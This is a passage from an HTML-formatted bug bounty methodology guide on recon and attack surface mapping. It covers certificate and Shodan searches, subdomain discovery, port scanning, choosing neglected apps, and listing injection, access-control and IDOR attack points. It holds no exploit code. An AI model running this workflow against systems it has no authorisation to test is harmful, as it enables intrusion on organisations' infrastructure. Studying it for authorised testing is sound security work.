&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;3. SSL/TLS Certificate Analysis&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Certificate Transparency Logs:&lt;/strong&gt; (As described above – monitoring new certs).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;TLSX&lt;/code&gt;:&lt;/strong&gt; A fast SSL/TLS data gathering and analysis tool. It can extract Subject Alternative Names (SANs) and Common Names (CNs) from certificates, which often list other related domains and subdomains.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Fingerprinting:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;JARM:&lt;/strong&gt; An active TCP fingerprinting tool for identifying SSL/TLS server applications.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;JA3/JA3S:&lt;/strong&gt; A method for creating SSL/TLS client (JA3) and server (JA3S) fingerprints based on the parameters of the SSL/TLS handshake. These can help identify specific client applications or malware, or group similar server configurations.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;4. Shodan Search&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Search engine for internet-connected devices.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Device Enumeration:&lt;/strong&gt; Find servers, IoT devices, webcams, industrial control systems, etc., related to the target using specific queries (e.g., org name, IP range, port numbers).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vulnerability Identification:&lt;/strong&gt; Can reveal exposed services, default credentials, misconfigurations, or known vulnerabilities based on software banners.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;GOAL: Find Every Possible Target &amp;amp; Attack Vector&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This section defines what constitutes an attack vector in different contexts.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;An Injection Attack Vector is the unique combination of:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HTTP Verb:&lt;/strong&gt; GET, POST, PUT, DELETE, PATCH, etc. The method used for the request.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Domain:Port:&lt;/strong&gt; The target host and port (e.g., &lt;code&gt;example.com:443&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Endpoint:&lt;/strong&gt; The specific path of the URL (e.g., &lt;code&gt;/api/v1/users&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Injection Point:&lt;/strong&gt; The specific parameter, header, cookie, or part of the URL path where malicious input is injected.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Significance:&lt;/strong&gt; Each unique combination is a distinct place to test for vulnerabilities like SQL Injection, XSS, Command Injection, etc.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;A Logic Attack Vector is one of the following four things:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Overly Complex Mechanism:&lt;/strong&gt; A feature or workflow with many steps, conditions, or dependencies. Complexity increases the chance of oversight and flaws.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Database Query Using ID From HTTP Request:&lt;/strong&gt; Any endpoint that retrieves data based on an ID supplied in the request (e.g., &lt;code&gt;/items?id=123&lt;/code&gt;) is a potential IDOR vector.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Granular Access Controls:&lt;/strong&gt; Systems with many roles, permissions, or fine-grained access rules. The more complex the rules, the harder they are to implement and enforce correctly, potentially leading to privilege escalation or authorization bypasses.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Hacky" Implementations:&lt;/strong&gt; Code or features that seem rushed, poorly designed, or like workarounds. These often cut corners on security.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Ebb &amp;amp; Flow:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Concept:&lt;/strong&gt; Your bug hunting process should be iterative.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Methodology:&lt;/strong&gt;

&lt;ol&gt;
&lt;li&gt;Follow the recon methodology to identify 3-5 promising attack vectors on a target URL.&lt;/li&gt;
&lt;li&gt;Spend focused time testing these vectors.&lt;/li&gt;
&lt;li&gt;If you get stuck or results diminish, "put a pin" (pause and remember) in those vectors.&lt;/li&gt;
&lt;li&gt;Return to an earlier stage of recon, try new tools/techniques to expand knowledge of the attack surface.&lt;/li&gt;
&lt;li&gt;Choose 3-5 new attack vectors.&lt;/li&gt;
&lt;li&gt;Repeat.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Goal:&lt;/strong&gt; Maintain momentum, avoid burnout on a single path, and continuously expand coverage.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;# Core Recon Workflow&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A structured workflow, particularly useful for programs with broad scopes or when starting with just a company name.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Finding Apex Domains&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Summary:&lt;/strong&gt; For programs with "Wide Open Scope" (any asset owned by the company), you first need to find the main (apex) domains (e.g., &lt;code&gt;company.com&lt;/code&gt;, &lt;code&gt;anotherproduct.com&lt;/code&gt;) before you can find subdomains.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Example Programs:&lt;/strong&gt; US Department of Defense (DoD), Tesla.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Input:&lt;/strong&gt; &lt;em&gt;Company Name&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Techniques:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Web Scraping:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; Shodan, DNS Dumpster, Reverse WhoIs (viewdns.info).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Amass Intel Module:&lt;/strong&gt; &lt;code&gt;amass intel -org 'Company Name'&lt;/code&gt; can find domains associated with an organization.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Creativity:&lt;/strong&gt; Think of less obvious public places where a company might list domains (e.g., marketing materials, job postings, partner pages, legal documents). The goal is to find domains other researchers might miss.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Google Dorking:&lt;/strong&gt; Using advanced Google search operators (&lt;code&gt;intitle:&lt;/code&gt;, &lt;code&gt;intext:&lt;/code&gt;, &lt;code&gt;site:&lt;/code&gt;, &lt;code&gt;filetype:&lt;/code&gt;, etc.) to find specific information or domains. This can uncover websites hosted on domains not easily found by searching for the company name directly.&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Cloud IP Ranges:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; Scan IP ranges belonging to cloud providers (AWS, Azure, GCP) where the company might host assets. Extract SSL certificate data from responding IPs and look for certificates issued to domains containing the company name or related keywords.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Note:&lt;/strong&gt; This can be time-consuming and data-intensive.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Autonomous System Number (ASN):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; If a company hosts its own infrastructure (on-premise), it will likely have registered IP address ranges with an ISP, which are assigned an ASN. Query public resources (e.g., BGP tools) for ASNs associated with the company to find its IP ranges and potentially apex domains resolving within those ranges.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Acquisitions &amp;amp; Mergers:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; Monitor tech news, financial news, and sites like Crunchbase for M&amp;amp;A activity. Domains of acquired companies often become in-scope.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;LinkedIn + GitHub:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt;

&lt;ol&gt;
&lt;li&gt;Use LinkedIn to find developers/engineers working for the target company.&lt;/li&gt;
&lt;li&gt;Try to find their personal GitHub accounts (if public).&lt;/li&gt;
&lt;li&gt;Search their public repositories for code snippets containing domains or keywords related to the target company. Developers sometimes test company code or use company assets in personal projects.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Marketing &amp;amp; Favicon:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tracking Cookies:&lt;/strong&gt; If you find a website using the same unique tracking cookie ID (e.g., Google Analytics ID, Hubspot ID) as known company sites, it might also belong to the company.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Favicon Hashing:&lt;/strong&gt; Calculate the hash (e.g., MD5, MMH3) of a known company favicon. Search for this hash in search engines like Shodan, Censys, or specialized favicon search tools. Sites using the same favicon might be related.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Output:&lt;/strong&gt; &lt;em&gt;List of Apex Domains&lt;/em&gt;
&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Finding Live Web Applications&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Summary:&lt;/strong&gt; Once you have apex domains, the next step is to find all associated subdomains and then determine which of these (and their corresponding IPs/ports) are hosting live web applications.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Input:&lt;/strong&gt; &lt;em&gt;Apex Domain&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Steps (Apex Domain → List of Subdomains):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Amass:&lt;/strong&gt; (As mentioned before) A primary tool for comprehensive subdomain discovery using various techniques. The note states it finds ~80% of subdomains, implying the remaining 20% require more creative/manual efforts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Web Scraping (for subdomains):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; Sublist3r, Assetfinder, GetAllUrls (GAU - fetches known URLs from AlienVault's Open Threat Exchange, Wayback Machine, and Common Crawl), Certificate Transparency Logs (via tools like &lt;code&gt;ctfr&lt;/code&gt;, &lt;code&gt;subfinder&lt;/code&gt;, or manually on crt.sh), Subfinder (passive discovery tool).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Goal:&lt;/strong&gt; Use public resources and APIs to find subdomains.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Brute Force:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; Trying a list of common or generated subdomain names against the apex domain.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;ShuffleDNS:&lt;/strong&gt; A wrapper around MassDNS, used for resolving subdomains with wildcard filtering and subdomain bruteforcing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CeWL + ShuffleDNS:&lt;/strong&gt; CeWL crawls a website and generates a custom wordlist based on words found on the site. This list can then be used with ShuffleDNS for more targeted subdomain brute-forcing, potentially finding subdomains that follow a naming convention visible in the site's content.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Link Discovery (Crawling existing findings for more links):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GoSpider:&lt;/strong&gt; A fast web spider that can find URLs, subdomains, and JavaScript files.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SubDomainizer:&lt;/strong&gt; Scans JavaScript files and web pages for (sub)domains and other interesting information.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Note:&lt;/strong&gt; This step is iterative. You find some subdomains, crawl them, find more, and repeat. The note mentions doing this twice: once before this stage and once at the end.&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Cloud IP Ranges:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tool:&lt;/strong&gt; &lt;strong&gt;Clear-Sky&lt;/strong&gt; (author's tool) automates scanning cloud IP ranges and extracting certificate data to find associated domains/subdomains. This can take a long time.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Steps (List of Subdomains → List of Live URLs):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Resolve Subdomains to IPs:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; Convert FQDNs (Fully Qualified Domain Names like &lt;code&gt;sub.example.com&lt;/code&gt;) to their IP addresses.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Caution:&lt;/strong&gt; Prone to false positives (e.g., shared hosting, CDNs). Manual verification is crucial.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verification:&lt;/strong&gt; Check if IPs fall within known company ASN ranges (for on-prem) or access the IP directly in a browser. Accessing by IP can sometimes bypass security controls or reveal different applications due to Host Header variations.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Port Scanning:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; On the verified IPs, scan for open ports beyond standard web ports (80, 443), such as 8000, 8080, 8443, etc.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; &lt;strong&gt;DNMasscan&lt;/strong&gt; (combines DNS resolution with Masscan, a very fast port scanner). Again, verify results.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Consolidate:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; Create a unique list of subdomains. Filter out out-of-scope domains that crawlers might have picked up.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Test for Live Web App:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; Probe the unique list of subdomains/IPs/ports with HTTP/S requests to see if a web server responds.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; &lt;strong&gt;httprobe&lt;/strong&gt;, &lt;strong&gt;httpx&lt;/strong&gt; (these tools take a list of domains and probe for live HTTP/S servers).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Output:&lt;/strong&gt; &lt;em&gt;List of URLs Pointing to Live Web Applications&lt;/em&gt;
&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Choosing Target URLs&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Summary:&lt;/strong&gt; From the list of live web applications, select which ones are most promising for manual testing based on indicators of potential vulnerability or lack of maintenance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Input:&lt;/strong&gt; &lt;em&gt;List of URLs Pointing to Live Web Applications&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Techniques:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Wide-Band Scanning (Automated Initial Scan):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Quickly scan all live URLs for known vulnerabilities, misconfigurations, or outdated software. This can yield quick wins (rarely, as everyone does this) or, more importantly, highlight neglected applications.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Nuclei:&lt;/strong&gt; Fast, template-based vulnerability scanner. It has a large community-provided template base and allows custom YAML templates.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Semgrep:&lt;/strong&gt; Open-source static analysis tool. Can be used on client-side JavaScript to find DOM XSS patterns, insecure coding practices. If lucky (e.g., unobfuscated webpack source maps), you can download raw client-side code (React, Vue, Angular) and scan it.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Choosing an App Worth Your Time (Manual Indicators):&lt;/strong&gt; This is where experience ("Pointers") comes in.

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Screenshots:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; Nuclei (has screenshot templates), EyeWitness (gathers info and screenshots).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Look For:&lt;/strong&gt; Major visual differences between apps, error messages, debug information, default pages, development environments.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Tech Stack:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Comfort Zone:&lt;/strong&gt; Prioritize apps built with technologies you are familiar with and enjoy testing (e.g., MERN stack vs. .NET).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; Wappalyzer, BuiltWith.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;NPM Packages (Client-Side):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; Enumerate client-side JavaScript libraries and their versions. Check if these versions have known CVEs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tool:&lt;/strong&gt; &lt;strong&gt;Retire.js&lt;/strong&gt; (browser extension or command-line tool).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Caution:&lt;/strong&gt; A known CVE in a library doesn't automatically mean the application is vulnerable. The vulnerable function in the library must actually be used by the application. However, many outdated packages suggest poor maintenance.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Certificates:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Expired Certificate:&lt;/strong&gt; Strong indicator of a neglected application.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mismatched Certificate:&lt;/strong&gt; (e.g., cert for &lt;code&gt;old.example.com&lt;/code&gt; served on &lt;code&gt;new.example.com&lt;/code&gt;). Could indicate recent changes, rushed migration, or misconfiguration.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Self-Signed Certificate:&lt;/strong&gt; Should not be on public-facing production systems. Often indicates a development/test environment accidentally exposed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Caution:&lt;/strong&gt; Appending port 443 to a URL (e.g., &lt;code&gt;https://example.com:443&lt;/code&gt;) might cause browsers or tools to show a mismatch if the cert is only for &lt;code&gt;example.com&lt;/code&gt;, but it's the same app.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Output:&lt;/strong&gt; &lt;em&gt;List of URLs Hosting Web Applications Worth Your Time&lt;/em&gt;
&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Enumeration (Deep Dive into a Chosen Target URL)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Summary:&lt;/strong&gt; Once a promising URL is chosen, the goal is to find specific Attack Vectors by thoroughly examining its components.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Input:&lt;/strong&gt; &lt;em&gt;URL Pointing to Live Web Application Worth Your Time (Target URL)&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Injection Attack Vectors (User-controlled input not sanitized):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Endpoints (Routes/Paths):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Manual Clicking:&lt;/strong&gt; Explore the application normally to map out intended functionality.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automated Crawl:&lt;/strong&gt; Use crawlers to find endpoints missed manually (e.g., in JavaScript files, sitemaps).

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; PortSwigger's Burp Suite (Site map &amp;gt; Discover content), Project Discovery's Katana, Caido (another web security auditing toolkit).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Fuzzing For Endpoints (Brute-forcing directories/files):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; FFUF, Burp Intruder, Burp Content Discovery (Discover content feature).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Parameters (User-controlled input in URL query string or request body):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tools for finding hidden/unlinked parameters:&lt;/strong&gt; Arjun, Burp Param Miner (extension for Burp Suite).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;HTTP Verbs (Methods: GET, POST, PUT, DELETE, OPTIONS, etc.):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; Test each endpoint with different HTTP verbs. Some endpoints might behave differently or expose unintended functionality with verbs other than the one typically used.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tool:&lt;/strong&gt; &lt;code&gt;appscan&lt;/code&gt; by &lt;code&gt;gh0st&lt;/code&gt; (mentioned for testing verbs).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Headers/Cookies:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; Fuzz for non-standard or hidden HTTP headers and cookies that might be processed by the application, leading to vulnerabilities or revealing debug functionality.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; Burp Param Miner, FFUF, Burp Intruder.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Logic Attack Vectors (Flaws in application design/workflow, developer oversight):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Dev Tools (Browser Developer Tools - F12):&lt;/strong&gt; A primary source for initial logic assessment.

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Client-Side Data Storage:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;localStorage&lt;/code&gt; / &lt;code&gt;sessionStorage&lt;/code&gt;: Check for sensitive data stored here (e.g., tokens, user info). While convenient, it's accessible to any JavaScript running on the page (e.g., XSS).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Cookies &amp;amp; Cookie Flags:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Data Stored in Cookie:&lt;/strong&gt; Look for plaintext or easily decodable (e.g., Base64 encoded JSON like JWTs) sensitive data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cookie Signed for Integrity:&lt;/strong&gt; If data is present, is it signed to prevent tampering? If signed, is the signature validated consistently across all endpoints?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;Secure&lt;/code&gt; Flag:&lt;/strong&gt; Ensures cookie is only sent over HTTPS. Absence can lead to leakage over HTTP.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;HttpOnly&lt;/code&gt; Flag:&lt;/strong&gt; Prevents client-side JavaScript from accessing the cookie. Absence makes session cookies vulnerable to XSS.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;SameSite&lt;/code&gt; Flag (&lt;code&gt;Strict&lt;/code&gt;, &lt;code&gt;Lax&lt;/code&gt;, &lt;code&gt;None&lt;/code&gt;):&lt;/strong&gt; Mitigates CSRF. &lt;code&gt;SameSite=None&lt;/code&gt; (especially without &lt;code&gt;Secure&lt;/code&gt;) can make CSRF attacks easier.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Client-Side JavaScript:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Webpack Serialized/Obfuscated?:&lt;/strong&gt; If not (e.g., source maps exposed), raw framework code (React, Vue, etc.) might be downloadable (e.g., using Burp's JS Miner extension or similar tools) for deeper analysis with tools like Semgrep.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Readable JS?:&lt;/strong&gt; Unminified or well-commented JS is easier to analyze for flaws or hidden endpoints.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Custom JS Files?:&lt;/strong&gt; Custom logic is less vetted than standard libraries and more prone to bugs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secrets/API Keys?:&lt;/strong&gt; Hardcoded secrets in client-side JS are a common vulnerability.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API Endpoints in JS?:&lt;/strong&gt; JS code often reveals API endpoints, including potentially hidden or undocumented ones.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;State/Props (for frameworks like React, Vue, Angular):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; React Developer Tools (browser extension).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; Inspect the component state and props in the Virtual DOM for sensitive data that developers might assume is not easily accessible.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Mechanisms (Series of HTTP requests for a specific task, e.g., CRUD):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Look For:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Complex Mechanisms:&lt;/strong&gt; More steps/parameters = more chances for errors.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sensitive Mechanisms:&lt;/strong&gt; Those handling valuable data or critical functions. Impact is key for bug bounties.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Examples:&lt;/strong&gt; Password Reset, SSO/OAuth Authentication, File Upload, Shopping Cart/Checkout.&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Access Controls (Rules dictating what a client can access/do):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Role-Based Access Control (RBAC):&lt;/strong&gt; Users assigned roles (Admin, User). Test for privilege escalation (e.g., User performing Admin actions).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Discretionary Access Control (DAC):&lt;/strong&gt; Owners of resources grant permissions to others (e.g., sharing a document). Test if uninvited users can access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Granular Policy-Based Access Controls (PBAC):&lt;/strong&gt; Very specific permissions for individual users/operations (e.g., user A can CREATE and READ item X, but not UPDATE or DELETE). These are complex and prone to bypasses.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Database Queries (Focus on IDORs):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; Look for endpoints where the application queries a database using an identifier from the HTTP request (e.g., &lt;code&gt;ObjectID&lt;/code&gt;, &lt;code&gt;UserID&lt;/code&gt;, &lt;code&gt;Email&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
